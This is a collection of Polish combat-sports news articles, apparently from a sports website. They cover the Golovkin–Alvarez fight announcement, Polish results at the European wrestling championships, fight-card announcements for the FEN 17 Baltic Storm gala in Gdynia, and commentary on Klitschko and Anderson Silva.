W tym roku przebąkiwało się, że temat ponownie walki Gołowkina z Alvarezem ponownie wrócił. 6 maja w Las Vegas szykowała się meksykańska wojna. Alvarez wszedł do ringu z Julio Cesarem Chavezem Jr., który swego czasu przegrał z Andrzejem Fonfarą. „Canelo” nie miał większych problemów z pokonaniem starszego rywala. Przez dwanaście rund zupełnie zdominował Chaveza Jr., choć nie potrafił go znokautować. Po ostatnim gongu mógł wznieść ręce w geście triumfu i świętować 49. zwycięstwo na zawodowym ringu.
Wtedy nastąpił przełom. Na ringu pojawił się… Gołowkin i wtedy świat usłyszał, że 16 września dojdzie do starcia o panowanie w wadze średniej. Na szali pojawią się pasy WBC, WBA, IBF i IBO.
Kto faworytem?
Bukmacherzy większe szanse na zwycięstwo dają Kazachowi. Na korzyść Gołowkina przemawia jego bilans i skuteczność (33 z 37 walk zakończył przed czasem) oraz dorobek mistrzowski. Z kolei Alvarez jest znacznie młodszy (26 lat), ale już niezwykle doświadczony. Ma na swoim koncie ponad 50 zawodowych walk i tylko jedną porażkę. Jednak przegrana z Floydem Mayweatherem Jr. pokazuje, że mocny Meksykanin w starciu z doświadczeniem może mieć problemy. 16 września lata praktyki mogą okazać się niezwykle cenne dla Gołowkina.
Kazach nie zostawił suchej nitki na rywalu po jego walce z Chavezem Jr. – To były nudy, wyglądało jak sparing – powiedział Gołowkin.
KM
Mistrzostwa Europy w zapasach na ostatniej prostej. W niedzielę w Nowym Sadzie dorobek medalowy reprezentacji Polski postarają poprawić się klasycy: Dawid Kareciński (71kg), Edgar Babayan (80kg) i Tadeusz Michalik (85kg). Tytułem wicemistrza Starego Kontynentu może pochwalić się Magomedmurad Gadżijew (70kg).
Rok temu w Rydze biało-czerwoni wywalczyli pięć medali, co dało im siódmą pozycję w klasyfikacji końcowej. W Nowym Sadzie o powtórzenie tego wyniku może być trudno.
Gadżijew nie zawodzi
Występujący od 2014 roku w barwach Polski Gadżijew na arenie europejskiej gwarantuje dobre wyniki. Dwa lata zapaśnik walczący w stylu wolnym zdobył w Baku srebrny medal Igrzysk Europejskich. Z kolei w 2016 roku w Rydze sięgnął po tytuł mistrza Europy. Liczyliśmy, że w Rio de Janeiro 29-latek pokusi się o medal Igrzysk Olimpijskich, jednak tak się nie stało. W rywalizacji w kategorii 65kg Gadżijew przegrał w 1/8 finału z Frankiem Aniello Molinaro.
Do Nowego Sadu zawodnik Wrestler Teamu jechał, żeby obronić mistrzowski tytuł, a minimum było miejsce na podium. Rywalizację w Serbii Gadżijew rozpoczął zgodnie z planem. W kolejnych pojedynkach pokazywał swoją wyższość nad rywalami i wygrywał na punkty. Reprezentant Polski odprawił: Nikolaja Kurtiewa, Semena Radułowa i Israiła Kasumowa. Jednak po starciu ćwierćfinałowym pojawił się strach. Przy jednym z ataków Radułow wykrzywił stopę Gadżijewa, a ten schodził z maty kulejąc. Twardo walczył dalej i doszedł do finału, gdzie spotkał się z Frankiem Chamizo Marquezem. Reprezentant Włoch szybko zdobył pierwsze punkty, później przeprowadził kolejną akcję i robił wszystko, żeby nie pozwolić mistrzowi Europy z Rygi na skuteczny atak. Gadżijew szukał swojej szansy, ale Marquez skutecznie się bronił. Rywal zbierał ostrzeżenia, ale ostatecznie wygrał 4:3.
Sukcesu z Rygi nie powtórzył Robert Baran (125kg). Rok temu Polak wywalczył srebrny medal. W Nowym Sadzie wygrał jedną walkę, a w ćwierćfinale musiał uznać wyższość Daniela Ligeti. Ostatecznie Baran został sklasyfikowany na siódmym miejscu. Ubiegłoroczny mistrz, Geno Petriashvili, zdobył brąz.
Siódme miejsce zajął również Radosław Grzybicki (98kg), Przemysław Piątek wraca z Nowego Sadu na ósmej pozycji, a Mateusz Bernatek (66kg) był dziesiąty, tak jak i Daria Osocka (75kg). Na dziewiątych lokatach uplasowali się: Katarzyna Mądrowska (58kg) i Andrzej Sokalski (74kg).
Powiększyć konto
Ostatni dzień mistrzostw Europy to szansa na powiększenie dorobku medalowego Polski. Dotychczas zapisaliśmy na swoim koncie dwa krążki. Mistrzynią Europy została Monika Michalik, a wspomniany Gadżijew sięgnął po srebrny medal.
Nadzieja na kolejne krążki w Nowym Sadzie jest spora. Wśród klasyków mamy medalistów ubiegłorocznych mistrzostw Europy. W Rydze srebro wywalczył Edgar Babayan (80kg), zaś Tadeusz Michalik zdobył brąz (85kg). W Nowym Sadzie zaprezentuje się trzeci zawodnik ubiegłorocznych mistrzostw świata wojskowych Dawid Kareciński.
KM
Federacja Fight Exclusive Night ujawniła ostatnią niewiadomą karty walk gali FEN 17 Baltic Storm – z Ireneuszem Szydłowskim w najbliższy piątek w Gdynia Arena zmierzy się debiutujący w FEN, niepokonany w zawodowym MMA ukraiński prospekt Dmitriy Borsuk.
Ireneusz Szydłowski w organizacji Fight Exclusive Night walczył już dwukrotnie. W debiucie na gali FEN 14 Summer Edition w drugiej rundzie potężnym front-kickiem powalił na deski Bartosza Chyrka, wieńcząc dzieło serią ciosów w parterze – dzięki tej akcji nie tylko wygrał walkę, ale też zdobył bonus za nokaut wieczoru. W kolejnym starciu na niedawnej gali FEN 16 Warsaw Reloaded zmierzył się ze znacznie wyżej notowanym Pawłem Pawlakiem – reprezentant Baltic Fighters MMA postawił byłemu zawodnikowi UFC twarde warunki i uległ mu dopiero po trzech rundach zaciętego, widowiskowego pojedynku. Była to druga porażka Szydłowskiego w zawodowej karierze – w siedmiu wcześniej stoczonych walkach przegrał tylko z doskonale znanym Anglikiem Shaunem „The Legend” Lomasem.
Debiutujący w FEN Dmitriy Borsuk to 21-letni, utalentowany zawodnik jednego z najmocniejszych klubów Ukrainy – Aurum Kijów, gdzie trenuje pod okiem doświadczonych szkoleniowców Aleksandra Dydochkina i Vladimira Kalyinyia. Zaliczany jest do najbardziej perspektywicznych ukraińskich fighterów młodego pokolenia – z powodzeniem rywalizuje nie tylko w formule MMA, ale także w muay thai i K-1. Jego największym sukcesem jest złoty medal wywalczony w ubiegłym roku na mistrzostwach Europy. Oprócz tego pięciokrotnie zdobywał tytuł amatorskiego mistrza kraju. Dotychczas Borsuk na zawodowych arenach stoczył sześć walk w formule MMA, pewnie wygrywając wszystkie pojedynki.
W pozostałych siedmiu walkach na zasadach MMA na gali FEN 17 Baltic Storm zmierzą się m.in. Kamil Łebkowski z Brazylijczykiem Caio Machado, Piotr Hallmann z Patrykiem Nowakiem, Michał Wlazło z Czechem Martinem Chudejem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią oraz Jakub Kowalewicz z Aleksandrem Georgasem. Ponadto w formule K-1 w Gdynia Arena walczyć będą tego wieczora tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Nie milkną echa walki pomiędzy Anthony'm Joshuą a Władimirem Kliczko. Była to najlepsza reklama boksu. Czy dojdzie do rewanżu? – to pytanie padło już nie raz. Nie brakuje również dyskusji na temat dalszych losów Władimira Kliczko.
29 kwietnia cały świat podziwiał wspaniałe widowisko. Joshua i Kliczko pokazali ogromne umiejętności. Walka była pełna emocji, potężnych bomb i zwrotów akcji. W tej konfrontacji lepsza okazała się młodość.
Czy dojdzie do rewanżu?
Kontrakt zawarty między obozami Joshuy i Kliczko przewiduje walkę rewanżową, jednak nie jest powiedziane, że były czempion wagi ciężkiej skorzysta z tego prawa. Warto pamiętać, iż po porażce z Tysonem Fury'm w listopadzie 2015 roku 41-latek zabiegał o możliwość ponownego spotkania się z Brytyjczykiem. Jak wiadomo, do starcia nie doszło. Światło dzienne ujrzały problemy Fury'ego z używkami.
Jednak to już przeszłość, a teraz Joshua otworzył nowy rozdział historii. 19 walk i wszystkie wygrane przed czasem. 27-latek w 11. rundzie starcia na Wembley zmasakrował Władimira Kliczko, który dwa razy padał na deski. W końcu sędzia przerwał pojedynek.
Rewanż jest możliwy, a dyskusja na ten temat jest niezwykle gorąca. Pojawiła się nawet propozycja miejsca, w którym miałoby dojść do kolejnej walki Joshuy z Kliczko. Pięściarze mieliby rywalizować na stadionie olimpijskim w Pekinie. Z bliska walkę mogłoby śledzić ponad 91 tysięcy widzów.
W przypadku Joshuy mówi się o ewentualnym starciu z Tysonem Fury'm. Jednak mistrz IBF, IBO oraz superczempion WBA miałby się spotkać ze swoim rodakiem wiosną przyszłego roku. Co istotne, na horyzoncie pojawił się Kubrat Pulew. Bułgar jest obowiązkowym pretendentem do pasa IBF. Wydaje się, że walka Joshuy i Pulewa jest nieunikniona. Federacja IBF wysłała pismo w tej sprawie do obozów pięściarzy. Niewykluczone jednak, że Joshua zrzeknie się tytułu. Wszystko przez duże prawdopodobieństwo rewanżu z Kliczko, a co za tym idzie – szansą na ogromne pieniądze.
Witalij Kliczko podkreśla, że jego brat może czuć się zmęczony, a kolejne spotkanie z Joshuą musiałoby być poparte motywacją. – Jeśli Władimir miałby wyjść tylko dla walki, żeby zapisać ostatni występ, to byłbym temu przeciwny. Potrzebna jest motywacja – zaznacza starszy z braci Kliczko.
Czy warto jeszcze walczyć?
Niektórzy zwracają uwagę na dokonania Władimira Kliczko i jego miejsce w historii boksu. Przez 12 lat Ukrainiec utrzymywał się na szczycie wagi ciężkiej. Tego nikt mu nie odbierze. W swojej kolekcji zapisał pasy IBF, IBO, WBA, WBO.
Mistrz WBC Deontay Wilder uważa, że nadszedł właściwy czas, aby Kliczko zakończył karierę. – Nie niszcz swojego wizerunku, Władimir. Już masz zagwarantowane miejsce w Galerii Sław i status legendy – nie psuj tego! – powiedział amerykański bokser.
KM
Alan Kwieciński ponownie zawalczy w organizacji Fight Exclusive Night! Tym razem dwukrotny kickbokserski wicemistrz świata i była gwiazda programu „Warsaw Shore” stoczy pojedynek w formule K-1, a jego rywalem 12 maja na gali FEN 17 Baltic Storm w Gdynia Arena będzie utalentowany prospekt z Kaszub – srebrny medalista Pucharu Świata Kamil Mateja.
Debiutujący w organizacji FEN Kamil Mateja to jeden najbardziej perspektywicznych kickbokserów młodego pokolenia. Potwierdzeniem klasy tego młodego, ambitnego zawodnika są sukcesy na imprezach rangi mistrzowskiej w kraju i zagranicą, m.in. drugie miejsce w Pucharze Świata w low-kick w 2015 roku, zdobyty rok później srebrny medal mistrzostw Polski w kick-light i wywalczony zaledwie miesiąc temu pas mistrza kraju w tej formule. Reprezentant silnego kickbokserskiego klubu PCNP Rebelia Kartuzy, w którym szlifuje swoje umiejętności pod okiem doświadczonego trenera Patryka Zaborowskiego, w zawodowym ringu debiutował półtora roku temu, efektownie nokautując Macieja Pawłowskiego.
Dla Alana Kwiecińskiego będzie to drugi występ na arenie Fight Exclusive Night, ale po raz pierwszy będzie walczył w pojedynku na zasadach K-1 – poprzednią walkę, na gali FEN 11 Warsaw Time, stoczył w formule MMA. Olsztynianin szerokiej publiczności znany jest jako jedna z gwiazd popularnego reality show „Warsaw Shore: Ekipa z Warszawy”, ale miłośnicy sportów walki wiedzą, że Kwieciński jest przede wszystkim utalentowanym kickbokserem. Trenujący obecnie w WCA Fight Team Warszawa zawodnik w 2013 i 2016 roku zdobywał tytuły wicemistrza świata, a w 2014 roku zajął trzecie miejsce w Pucharze Świata. Miał także okazję walczyć na prestiżowej gali King of Kings World GP 2014 w Płocku. Aby móc się bardziej poświęcić swojej sportowej pasji, Kwieciński rok temu zrezygnował z udziału w programie i skoncentrował się tylko na treningach. Jako zawodowiec stoczył dotychczas 8 walk, z których 5 zakończyło się jego zwycięstwem.
Na gali FEN 17 Baltic Storm kibice zobaczą jeszcze trzy inne walki w formule K-1 – Radosława Paczuskiego z Holendrem Menno Van Roosmalenem, Artura Bizewskiego z Marcinem Szrederem oraz Jarosława Daschke z Robertem Rajewskim juniorem. Na zasadach MMA tego wieczora walczyć będą m.in. Kamil Łebkowski, Piotr Hallmann, Michał Wlazło, Michał Oleksiejczuk, Aleksander Georgas, Ireneusz Szydłowski i Bartosz Leśko. Pełny fight card gali na oficjalnej stronie FEN.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Kickbokserski mistrz Polski Kryspin Kalski to kolejny reprezentant trójmiejskiej sceny sportów walki, którego zobaczymy w akcji na gali FEN 17 Baltic Storm. 12 maja w Gdynia Arena w pojedynku K-1 wagi ciężkiej zmierzy się z debiutującym w Fight Exclusive Night, niepokonanym na zawodowych ringach Mateuszem Łazowskim.
Droga Mateusza Łazowskiego (30 lat, 191 cm, 2-0) do kariery zawodowego fightera K-1 była dość kręta. Zaczynał od treningów bokserskich, lecz w tej dyscyplinie nigdy nie walczył. Sporo pojedynków stoczył za to w muay thai, zdobywając m.in. tytuł mistrza Polski. Później zainteresował się mieszanymi sztukami walki, wygrywając na amatorskich zawodach wszystkie swoje walki. Ostatecznie jednak postawił na kickboxing i zawodowe starty w K-1. Ma na koncie 2 walki w tej formule, obie przeciwko zawodnikom z Niemiec i obie stoczone na warszawskich galach Granda PRO. Debiutował rok temu w starciu z Danielem Adjei, którego znokautował lawiną potężnych ciosów już w pierwszej rundzie, a w październiku na punkty pokonał doskonale znanego z klatkoringu FEN, utytułowanego weterana Niko Falina.
Na gali FEN 17 Baltic Storm Kryspin Kalski (27 lat, 192 cm, 7-6) powalczy o pierwsze zwycięstwo w organizacji Fight Exclusive Night – w debiucie przeciwko Arkadiuszowi Wrzoskowi był bliski wygranej, ale ostatecznie po dogrywce w górę powędrowała ręka jego rywala. Reprezentant Fight Gym Gdynia, który sportową karierę zaczynał od koszykówki, grając w nią profesjonalnie przez 6 sezonów, to zawodowy mistrz Polski w kickboxingu z 2012 roku i triumfator Pucharu Polski w K-1 z 2013 roku. Uczestniczył też w prestiżowych turniejach King of Kings World GP w Płocku, Gdańsku i Wilnie, podczas których m.in. pokonał doświadczonego Niemca Andre Agbobly’ego i stoczył świetny pojedynek z legendarnym mistrzem wagi ciężkiej, Ukraińcem Pavlem Zhuravlevem. Po starciu z Wrzoskiem, szukając nowych wyzwań, Kalski wziął udział w drużynowym turnieju Iron Warriors Team – po dwóch wygranych walkach awansował do finału, ale nie wystąpił w nim z powodu kontuzji ręki.
Na gali FEN 17 Baltic Storm kibice zobaczą jeszcze cztery inne pojedynki w formule K-1 – Radosława Paczuskiego z Holendrem Menno Van Roosmalenem, Artura Bizewskiego z Marcinem Szrederem, Jarosława Daschke z Robertem Rajewskim Jr oraz Alana Kwiecińskiego z Kamilem Mateją. Z kolei w walkach na zasadach MMA tego wieczora wystąpią m.in. Kamil Łebkowski, Piotr Hallmann, Michał Wlazło, Michał Oleksiejczuk, Aleksander Georgas, Ireneusz Szydłowski i Bartosz Leśko. Pełny fight card gali na oficjalnej stronie FEN.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Federacja Fight Exclusive Night zdradziła nazwisko przeciwnika Piotra „Płetwala” Hallmanna na gali FEN 17 Baltic Storm. Z byłym zawodnikiem UFC zmierzy się utalentowany Patryk Nowak, który 12 maja w Gdynia Arena powalczy o piąte zawodowe zwycięstwo z rzędu.
Dla polskich kibiców nazwisko Patryka Nowaka (28 lat, 175 cm, 4-0, 2 SUB, 1 KO) może brzmieć enigmatycznie, za to dobrze znane jest już w Szwajcarii, gdzie pochodzący z Namysłowa zawodnik do niedawna mieszkał, trenował i walczył. Przez dwa lata do zawodowych walk szykował się pod okiem cenionego trenera Robsona Dantasa w filii słynnego brazylijskiego klubu Kimura Nova Uniao w Renens u podnóża Alp. Debiutował rok temu na gali Fight Night Series, wygrywając przez decyzję z doświadczonym Anthonym Mullerem. To jego jedyne zwycięstwo na punkty – w kolejnych trzech walkach dla szwajcarskich organizacji FNS oraz Hit FC kończył już swoich rywali przed czasem.
Nowak uchodzi za utalentowanego grapplera – wywodzi się z zapasów, jako junior i kadet był wielokrotnym mistrzem Polski i występował na mistrzostwach Europy. Później startował w amatorskich zawodach MMA, ma na koncie m.in. pasy zdobywane na turniejach ALMMA oraz zawodach w Niemczech. Jak zapewnia, po powrocie do Polski jest gotowy na znacznie poważniejsze wyzwania, więc propozycję walki z „Płetwalem” na gali FEN 17 Baltic Storm przyjął bez wahania.
Piotr Hallmann (29 lat, 175 cm, 16-6, 7 KO, 7 SUB) to niezaprzeczalnie jeden z najlepszych fighterów MMA w kraju i jeden z pierwszych Polaków, którzy podpisali kontrakt z UFC. Ma za sobą 6 walk w oktagonie tej federacji, za które trzykrotnie był nagradzany bonusami (walka wieczoru, występ wieczoru i poddanie wieczoru). Na angaż w UFC „Płetwal” zapracował 13 zwycięstwami w 14 walkach, z których większość odniósł przez nokaut lub poddanie.
Po powrocie do Polski w styczniu 2016 roku zawodnik Mighty Bulls Gdynia walczył dwa razy – na gali Slava Republic 1 pokonał Francuza Jasona Poneta, a potem w walce wieczoru gali FEN 13 Summer Edition przegrał na punkty z Kamilem Łebkowskim. Był to dla niego wyjątkowy pojedynek, bo po raz pierwszy i jak do tej pory jedyny walczył w kategorii piórkowej. Po tym nieudanym występie gdynianin zdecydował się wrócić do „swojej” wagi lekkiej i w niej stoczy kolejną walkę na gali FEN 17 Baltic Storm.
Oprócz tego emocjonująco zapowiadającego się pojedynku kibice 12 maja obejrzą także walki MMA z udziałem m.in. Kamila Łebkowskiego, Ireneusza Szydłowskiego oraz starcia Michała Wlazło z Czechem Martinem Chudejem, Michała Oleksiejczuka z Włochem Riccardo Nosiglią i Jakuba Kowalewicza z Aleksandrem Georgasem. Ponadto w formule K-1 w Gdynia Arena walczyć będą tego wieczora tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Gwiazda polskiego MMA Kamil "Bomba" Łebkowski poznał swojego przeciwnika na gali FEN 17 Baltic Storm. 12 maja w walce wieczoru imprezy w Gdynia Arena jego przeciwnikiem będzie wielki prospekt brazylijskiego MMA – Caio Machado.
Caio Machado (10-3, 3 KO, 4 SUB) to jeden z największych brazylijskich prospektów, w zgodnej opinii fachowców mocny kandydat do angażu w UFC. 23-letni, wszechstronnie wyszkolony fighter z Olindy, który jako nastolatek wbrew woli matki trenował boks, muay thai i ju-jitsu, szybko zwrócił na siebie uwagę skautów wyszukujących młode talenty MMA, zarzucił pomysł studiowania geografii i całkowicie poświęcił się treningom w tej formule. W pierwszych dwóch latach zawodowej kariery stoczył 6 walk w Brazylii i amerykańskiej organizacji Legacy Fighting Championship, wygrywając wszystkie z nich, w tym cztery przed czasem. Dzięki tej zwycięskiej serii w 2014 roku stanął do walki z Thomasem Almeidą o pas mistrza LFC w kategorii koguciej. Walczący z kontuzją żeber Machado w starciu z przyszłym zawodnikiem UFC doznał pierwszej porażki w karierze, ale w następnych 6 występach ambitny Brazylijczyk dopisał do swego rekordu m.in. 4 kolejne zwycięstwa z rzędu. Dwa miesiące temu w ostatniej walce na gali LFA 3 w USA przegrał na punkty z Amerykaninem Trentem Meaux, więc na gali FEN 17 Baltic Storm w pojedynku z Kamilem „Bombą” Łebkowskim powalczy o powrót na zwycięską ścieżkę.
Taki sam cel przyświecał będzie także reprezentantowi Dziki Wschód Biała Podlaska, który podczas marcowej gali FEN 16 Warsaw Reloaded dość niespodziewanie uległ na punkty innemu Brazylijczykowi, Gabrielowi „Gabito” Silvie. Kamil Łebkowski (15-5, 8 KO, 2 SUB) przed tym pojedynkiem miał na koncie imponującą serię 10 zwycięstw z rzędu, na którą złożyły się m.in. walki z takimi świetnymi przeciwnikami, jak Japończyk Yoshihiro Koyama, którego znokautował na gali WSOF Global Championship 2 w Tokio, były fighter UFC Piotr Hallmann, którego wypunktował na gali FEN 13 Summer Edition, a także doświadczony Anglik Ashleigh Grimshaw, powalony na deski na gali PFN 27 w Bournemouth. Przegrana walka z bratem słynnego Ericka Silvy oddaliła „Bombę” od wymarzonego debiutu w UFC, ale najlepszy piórkowy polskiego MMA z całą pewnością ma papiery na to, by w przyszłości stać się zawodnikiem amerykańskiego giganta. Czy krok w tym kierunku uczyni na gali FEN 17 Baltic Arena w pojedynku z Caio Machado? Przekonamy się o tym już 12 maja w Gdynia Arena.
W innych walkach na zasadach MMA na gali FEN 17 Baltic Storm zmierzą się m.in. Piotr Hallmann z Patrykiem Nowakiem, Michał Wlazło z Czechem Martinem Chudejem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią oraz Jakub Kowalewicz z Aleksandrem Georgasem. Ponadto w formule K-1 w Gdynia Arena walczyć będą tego wieczora tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Na gali FEN 17 Baltic Storm po raz pierwszy w historii organizacji Fight Exclusive Night zawodnicy walczyć będą w oktagonie. To rewolucyjna wręcz zmiana, bo podczas wszystkich poprzednich edycji uczestniczący w nich fighterzy MMA i K-1 rywalizowali w przygotowanym specjalnie dla FEN klatkoringu.
„Zastąpienie klatkoringu oktagonem służy przede wszystkim zwiększeniu atrakcyjności naszych gal – mówi prezes FEN Paweł Jóźwiak. – Z tej zmiany na pewno będą zadowoleni zawodnicy MMA, mniej korzystna jest natomiast dla kickbokserów, ale to oni podczas wszystkich wcześniejszych gal byli w uprzywilejowanej pozycji”.
Do wprowadzenia oktagonu w miejsce klatkoringu federacja FEN przygotowywała się od kilku miesięcy. „Zastąpienie częściowo otwartej areny walki, jaką jest klatkoring, zamkniętą przestrzenią oktagonu, to zmiana ważna nie tylko dla zawodników, ale również dla niemal wszystkich ekip pracujących przy organizacji gali – dodaje Paweł Jóźwiak. – Dlatego właśnie nie spieszyliśmy się z tą decyzją – chcieliśmy być pewni, że nasza federacja jest na tę kluczową zmianę w stu procentach przygotowana”.
Oktagon, który pojawi się 12 maja w hali Gdynia Arena, pod względem wymiarów i innych parametrów będzie bardzo podobny do tego, w którym walczą zawodnicy organizacji UFC. Nie wiadomo jeszcze, czy ośmiokątna klatka na stałe zastąpi klatkoring. „Po premierze oktagonu na gali FEN 17 Baltic Storm dokładnie przeanalizujemy wszystkie argumenty za i przeciw takiemu rozwiązaniu” – wyjaśnia prezes FEN.
Podczas gali FEN 17 Baltic Storm w oktagonie stoczonych zostanie 13 walk. W pojedynkach na zasadach MMA wystąpią m.in. Kamil Łebkowski, Piotr Hallmann, Michał Wlazło, Michał Oleksiejczuk, Aleksander Rychlik, Aleksander Georgas i Ireneusz Szydłowski, natomiast na zasadach K-1 walczyć będą m.in. Radosław Paczuski, Jarosław Daschke, Alan Kwieciński, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Michał Wlazło, Kamil Łebkowski, Radosław Paczuski, Marcin Szreder, Jarosław Daschke, Ireneusz Szydłowski i reszta wojowników Fight Exclusive Night już gotowa do walki na FEN 17 Baltic Storm! Zobaczcie oficjalny trailer gali, która już 12 maja w Gdynia Arena!
Bilety do kupienia na Eventim.pl (http://goo.gl/j0EA4n) i KupBilet.pl (http://goo.gl/i6vKYs). Bilety VIP i grupowe – tel. 601 877 229.
[kod]
W drugim dniu mistrzostw Europy w zapasach, które odbywają się w Nowym Sadzie Polacy nie powiększyli dorobku medalowego. Najwyżej uplasowała się, siódme miejsce, Roksana Zasina (53kg).
Mistrzostwa Europy rozpoczęły się dla nas wręcz idealnie. Pierwszego dnia imprezy złoty medal wywalczyła Monika Michalik (63kg), dla której był to czwarty triumf w europejskim czempionacie.
Powtórki nie było
Z nadziejami do Nowego Sadu jechała Roksana Zasina, która rok temu w Rydze wywalczyła brązowy medal mistrzostw Europy. Ostatni czas jest niezwykle udany dla zapaśniczki reprezentującej barwy ZTA Zgierz. W 2015 roku Zasina wywalczyła srebrny medal Igrzysk Europejskich w Baku. Lepsza od Polki okazała się tylko Anżela Dorogan.
W Nowym Sadzie w kategorii 53kg na starcie pojawiło się 12 zawodniczek. Zasina rozpoczęła zmagania w europejskim czempionacie od wygranej przez przewagę techniczną z Emmą Siri Brobek. W ćwierćfinale Polka trafiła na dziesiątą zawodniczkę igrzysk w Rio de Janeiro Marię Prevolaraki. 25-letnia reprezentantka Grecji poradziła sobie z Zasiną i wygrała 3:1. 29-letnia Polka została sklasyfikowana na siódmym miejscu.
Szczęścia nie miała Agnieszka Król (60kg). W Nowym Sadzie Polka stoczyła zaledwie jedną walkę i pożegnała się z rywalizacją. Pogromczynią Król okazała się Tetiana Omelchenko z Azerbejdżanu. Równie krótko trwała przygoda Krzysztofa Bieńkowskiego (65kg) z mistrzostwami Europy. Zapaśnik z Białogardu przegrał z Gitinomagomedowem Gadżijewem.
Czekamy na kolejne medale
Pierwszego dnia imprezy w Nowym Sadzie w szampański nastrój wprawiła nas Monika Michalik (63kg). Doświadczona zapaśniczka wywalczyła czwarty tytuł mistrzyni Europy. Blisko podium byli Anna Łukasiak (48kg) i Zbigniew Baranowski (86kg).
Kolejni zapaśnicy pojawią się na macie już 4 maja. O medale powalczą również Polacy. Daria Osocka (75kg) i Andrzej Sokalski (74kg) odliczają już godziny do swoich startów. W kolejnych dniach w akcji zobaczymy m.in. mistrza Europy z Rygi Magomedmurada Gadzhieva (70kg).
W ubiegłym roku w Rydze biało-czerwoni wywalczyli pięć medali.
Mistrzostwa Europy w Nowym Sadzie potrwają do 7 maja.
KM
Albo tak, albo „do widzenia” zdaje się mówić Anderson Silva do włodarzy UFC. Brazylijski wojownik marzy o pojedynku, którego stawką byłoby tymczasowe mistrzostwo wagi średniej. W innym przypadku, zawodnik grozi zakończeniem kariery.
Jak mawiał Niccolo Machiavelli – „cel uświęca środki”. W drodze do realizacji własnych zamierzeń często jesteśmy gotowi posunąć się daleko. Liczy się tylko satysfakcja, spełnienie i czerpanie przyjemności z osiągniętego rezultatu.
Czy piękne chwile wrócą?
O Brazylijczyku można powiedzieć wiele. 42-letni Anderson Silva zapracował na miano legendy mieszanych sztuk walki. Przez lata był idolem tłumów. W 2006 roku zdobył pas mistrzowski UFC w wadze średniej pokonując po piekielnie mocnym ciosie kolanem Richa Franklina. W kolejnych dziesięciu starciach udanie bronił swojej zdobyczy. Przeszkodą nie do przejścia dla Silvy okazał się Chris Weidman. Na gali UFC 162, lipiec 2013, Amerykanin pokonał Brazylijczyka w drugiej rundzie. Pół roku później doszło do rewanżu. Morderczą walkę przerwał sędzia, który postanowił oszczędzić Silvę.
Zawodnik z Kraju Kawy zamierzał jeszcze pokazać, że stać go na walki na wysokim poziomie. Nie wszystko układało się po myśli Brazylijczyka. Po walce na UFC 183, styczeń 2015, okazało się, że Silva i jego rywal Nick Diaz stosowali niedozwolone środki. Brazylijczyk został zawieszony na dwanaście miesięcy. Zapewniał jednak, że jest niewinny. Wrócił do rywalizacji w… lutym 2016 roku. Przegrał z Michalem Bispingiem, a później lepszy od Silvy okazał się Daniel Cormier. W międzyczasie 42-latek borykał się z problemami zdrowotnymi, przeszedł operacją w związku z kłopotami z woreczkiem żółciowym.
Niektórzy wieścili, że to koniec wielkiej gwiazdy. Jednak Silva chciał utrzeć nosa niedowiarkom. W lutym br. pokonał Dereka Brunsona. Po raz kolejny Silva zaprezentuje się na gali UFC, która odbędzie się 3 czerwca w Rio de Janeiro. Na własnej ziemi chciałbym stoczyć bój o pas w wadze średniej. Silva przebąkuje, że myśli o zakończeniu kariery. Być może możliwość rywalizacji o pas sprawi, iż jego głowa będzie zaprzątnięta zupełnie innymi sprawami.
Po co Romero przyjedzie do Rio?
Rywalem Andersona Silvy w Rio miał być Kelvin Gastelum, jednak do starcia nie dojdzie. Powód: w organizmie 25-letniego Amerykanina wykryto metabolity marihuany. 42-letni Brazylijczyk bardzo chce zaprezentować się przed własną publicznością. Liczy, że przyjdzie mu rywalizować o pas. Przeciwnikiem byłego mistrza wagi średniej miałby być Yoel Romero. – To świetny zawodnik, numer 1 rankingu. Dlaczego Yoel Romero miałby przyjeżdżać do Brazylii na walkę o nic? – zastanawia się Silva.
Dla 42-letniego Brazylijczyka rywalizacja w Rio to ostatnia szansa, aby przypomnieć się szerszej publiczności. Były czempion wagi średniej stawia sprawę na ostrzu noża. – Jeśli nie dadzą mi walki o tymczasowy pas to skończę karierę – zaznacza Anderson Silva.
KM
Monika Michalik (63kg) sięgnęła po czwarty tytuł mistrzyni Europy w zapasach. W finałowym starciu w Nowym Sadzie 37-letnia Polka pokonała Taybę Mustafę Yusein.
Udanie rozpoczęły się dla biało-czerwonych mistrzostwa Europy w Serbii. W pierwszym dniu zmagań za sprawą Moniki Michalik zdobyliśmy złoty medal. Rywalizacja w Nowym Sadzie potrwa do niedzieli (7 maja).
Kolejny sukces
